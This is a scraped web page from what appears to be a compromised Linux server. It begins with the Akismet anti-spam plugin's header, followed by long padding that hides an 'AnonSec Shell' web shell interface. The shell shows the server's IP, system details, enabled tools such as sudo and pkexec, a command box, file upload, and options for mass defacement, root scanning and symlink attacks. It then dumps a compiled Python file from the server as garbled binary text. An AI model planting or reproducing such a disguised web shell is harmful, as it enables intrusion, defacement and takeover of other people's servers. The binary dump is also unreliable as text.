#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/rhsmlib/dbus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyo
�
L��ec@`s9ddlmZmZmZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
e
j�ddlmZddlmZddlmZddlmZdd	lmZmZdd
lmZeje�Zeje��Z de!fd��YZ"d
e!fd��YZ#dS(i(tprint_functiontdivisiontabsolute_importN(t	constants(t	ga_loader(tGLib(tpartial(tconfig(t
initConfig(tcreate_filesystem_watchertDirectoryWatch(t	injectiontServercB`s>eZddddd�Zddd�Zd�Zd�ZRS(cC`s�tj�tjjj�|p&tj|_|p8tj}|pDi}|pPg}g|_	i|_
y||�|_Wn'tjj
k
r�tjd��nXtjtj�|_d}tdd}tdd}d}tjj|j|j�|_tj�|_x�|D]�}	y|	d|	d}
}Wntk
rQ|	}
i}nX|
d	|
jd
|j|�}|j	j|�||j
t|
j�<qW|jjg}
g}g}g}g}d|j
krF|j|j
dj�|
j|j
dj�|j|j
dj�|j|j
dj�|j|j
dj�nd|j
kro|
j|j
dj �nd
|j
kr�|j|j
d
j�|j|j
d
j!�nd|j
kr�|j|j
dj"�nd|j
kr|j|j
dj#�nt$|jj%|
�}t$||�}t$||�}t$||�}t$||�}t&|||||g�|_'t(j)d|j'j*�|_+|j+j,�dS(s�
        Create a connection to a bus defined by bus_class and bus_kwargs; instantiate objects in
        object_classes; expose them under bus_name and enter a GLib mainloop.  bus_kwargs are generally
        only necessary if you're using dbus.bus.BusConnection

        The object_classes argument is a list.  The list can contain either a class or a tuple consisting
        of a class and a dictionary of arguments to send that class's constructor.
        sCould not create bus classs/etc/rhsm/rhsm.conftrhsmtproductCertDirtentitlementCertDirs$/etc/rhsm/syspurpose/syspurpose.jsoniitobject_pathtbus_nametEntitlementDBusObjecttConsumerDBusObjecttConfigDBusObjecttProductsDBusObjecttSyspurposeDBusObjectttargetN(-Rtthreads_inittdbustmainlooptglibRtBUS_NAMERt	SystemBustobjectst
object_maptbust
exceptionst
DBusExceptiontlogt	exceptiontinjtrequiretIDENTITYtidentitytconftservicetBusNametconnection_nametMainLoopt	TypeErrortdefault_dbus_pathtappendtstrt__name__treloadtEntitlementChangedtConsumerChangedt
ConfigChangedtInstalledProductsChangedtSyspurposeChangedR
t
cert_dir_pathR	tfilesystem_watchert	threadingtThreadtloopt_threadtstart(tselft	bus_classRtobject_classest
bus_kwargstconfig_cert_dir_pathtproducts_cert_dir_pathtentitlement_cert_dir_pathtsyspurpose_cert_dir_pathtitemtclazztkwargstclazz_instancetconsumer_dir_listtentitlement_dir_listtconfig_dir_listtproducts_dir_listtsyspurpose_dir_listtconsumer_dir_watchtentitlement_dir_watchtconfig_dir_watchtproducts_dir_watchtsyspurpose_dir_watch((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyt__init__'s|
		



cC`s�z�y$tj|j|�|jj�Wn^tk
rI}tj|�n?tk
rh}tj|�n t	k
r�}tj|�nXWd|j
j�|r�|j�nXdS(s�
        The two arguments, started_event and stopped_event, should be instances of threading.
        Event that will be set when the mainloop has finished starting and stopping.
        N(
Rtidle_addtnotify_startedRtruntKeyboardInterruptR#R$t
SystemExitt	ExceptionR:tstoptset(R@t
started_eventt
stopped_eventte((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRYzs
cC`s$tjd�|r |j�ntS(s�
        This callback will be run once the mainloop is up and running. It's only purpose is to alert
        other blocked threads that the mainloop is ready.
        sStart notification sent(R#tdebugR^tFalse(R@R_((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRX�s

cC`s_|jj�|jj�|jjd�x|jD]}|j�q4W|jj	|j
�dS(s�
        This method is primarily intended for uses of Server in a thread such as during testing since
        in a single-threaded program, the execution would be blocked on the mainloop and therefore
        preclude even calling this method.
        iN(RtquitR:R]R>tjoinRtremove_from_connectionR trelease_nameR(R@to((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pytshutdown�s

N(R2t
__module__tNoneRVRYRXRi(((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyR&sS	tDomainSocketServercB`sYeZdZed��Zed��Zed��Zdd�Z	d�Z
d�ZRS(s�This class sets up a DBus server on a domain socket. That server can then be used to perform
    registration. The issue is that we can't send registration credentials over the regular system or
    session bus since those aren't really locked down. The work-around is the client asks our service
    to open another server on a domain socket, gets socket information back, and then connects and sends
    the register command (with the credentials) to the server on the domain socket.cC`sI|j|d|��|j�|jd7_WdQXtjd|�dS(NtconnisNew connection: %s(R0tlocktconnection_countR#Rb(tdomain_socket_servert
service_classtobject_listRm((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pytconnection_added�s
cC`s_tjd|�|j�@|jd8_|jdkrHtjd�n
tjd�WdQXdS(NsClosed connection: %siisNo connections remainsServer still has connections(R#RbRnRo(RpRm((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pytconnection_removed�s
cC`s|jr|jjSdSdS(N(t_servertaddressRk(R@((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRv�s	
cC`sD|p	g|_g|_tj�|_|j�d|_WdQXdS(s�Create a connection to a bus defined by bus_class and bus_kwargs; instantiate objects in
        object_classes; expose them under bus_name and enter a GLib mainloop.  bus_kwargs are generally
        only necessary if you're using dbus.bus.BusConnection

        The object_classes argument is a list.  The list can contain either a class or a tuple consisting
        of a class and a dictionary of arguments to send that class's constructor.
        iN(RBRR;tLockRnRo(R@RB((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRV�s
	
cC`sAx|jD]}|j�q
W|jj�d|_d|_dS(N(RRfRut
disconnectRk(R@Rh((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRi�s

	cC`s�y{tjjd�|_x9|jD].}|jjjttj	|||j
��q"W|jjjttj|��|j
SWn tk
r�}tj|�nXdS(Nsunix:tmpdir=/var/run(RtserverRRuRBton_connection_addedR0RRlRsRton_connection_removedRtRvR\R#R$(R@RIRa((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRY�s N(R2Rjt__doc__tstaticmethodRsRttpropertyRvRkRVRiRY(((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyRl�s
		($t
__future__RRRtloggingtdbus.serviceRtdbus.servertdbus.mainloop.glibR;trhsmlib.dbusRtsubscription_managerRtinit_gatsubscription_manager.gaRt	functoolsRtrhsmlib.servicesRtrhsm.configRtrhsmlib.file_monitorR	R
RR%t	getLoggerR2R#tConfigR)tobjectRRl(((s9/usr/lib64/python2.7/site-packages/rhsmlib/dbus/server.pyt<module>s$
�

Anon7 - 2022
AnonSec Team